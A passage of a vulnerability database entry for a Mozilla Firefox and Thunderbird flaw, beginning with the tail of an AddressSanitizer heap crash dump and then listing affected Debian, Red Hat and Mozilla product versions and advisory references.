fa fa 0x0ff21a520c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff21a520c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff21a520c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff21a520c50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0ff21a520c60: fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa 0x0ff21a520c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff21a520c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff21a520c90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff21a520ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff21a520cb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==25524==ABORTING -->

Products Mentioned

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Configuraton 0

Redhat>>Enterprise_linux >> Version 6.0

Redhat>>Enterprise_linux >> Version 7.0

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 7.3

Redhat>>Enterprise_linux_server_aus >> Version 7.4

Redhat>>Enterprise_linux_server_eus >> Version 7.3

Redhat>>Enterprise_linux_server_eus >> Version 7.4

Redhat>>Enterprise_linux_server_eus >> Version 7.5

Redhat>>Enterprise_linux_workstation >> Version 6.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

Configuraton 0

Mozilla>>Firefox >> Version To (excluding) 53.0

Mozilla>>Firefox_esr >> Version To (excluding) 45.9.0

Mozilla>>Firefox_esr >> Version 52.0

Mozilla>>Thunderbird >> Version To (excluding) 52.1.0

References

https://access.redhat.com/errata/RHSA-2017:1106
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/97940
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/42072/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.debian.org/security/2017/dsa-3831
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securitytracker.com/id/1038320
Tags : vdb-entry, x_refsource_SECTRACK
https://access.redhat.com/errata/RHSA-2017:1104
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:1201
Tags : vendor-advisory, x_refsource_REDHAT

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